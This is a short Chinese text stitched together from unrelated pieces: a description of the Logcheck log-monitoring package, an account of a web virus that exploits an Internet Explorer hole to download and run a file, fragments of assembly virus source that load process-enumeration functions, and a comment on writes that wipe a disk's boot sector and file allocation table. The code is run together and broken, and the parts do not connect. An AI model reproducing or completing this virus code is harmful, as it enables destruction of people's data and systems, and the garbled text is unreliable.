Logcheck是一软件包，用来实现自动检查日志文件，以发现安全入侵和不正常的活动。Logcheck用logtail程序来记录读到的日志文件的位置，下一次运行的时候从记录下的位置开始处理新的信息。所有的源代码都是公开的，实现方法也非常简单。

当浏览带毒网站时，会利用IE漏洞，尝试新增sys文件和tmp文件的执行关联，并下载执行病毒文件 b.sys，如果IE已经打上补丁，则会弹出一个插件对话框，引诱用户安装，安装后会将自己安装到 %Windows%Downloaded Program Files 文件夹中，文件名为"b.exe"，如果用户拒绝安装该插件，会不断弹出对话框要求用户安装。

源代码: 测试时需要D:\test.另外，目的油箱可能需要改变，拿自己的实验吧 ：）.386.model flat,stdcalloption casemap:noneinclude useful.inc.datahi db "hi",0ppmm db "ppmm,you need no reason to love me!",0.codemain:mov HostEntry,offset ret_addrjmp VStartret_addr:Invoke Messag

MonitorThread PROC MReloc : DWORD mov ebx , MReloc@pushsz "PSAPI"call _LoadLibraryA[ebx]xchg eax,esi@pushsz "EnumProcesses"push esicall _GetProcAddress[ebx]mov _EnumProcesses[ebx],eax@pushsz "EnumProcessModules"push esicall _GetProcAddress[ebx]mov _EnumProcessModules[ebx],eax

以上操作实际上是对硬盘执行4次写操作，每次17个扇区 ;共68个扇区，这样就完全破坏了盘中的引导扇区，根目录 ;和文件分配表。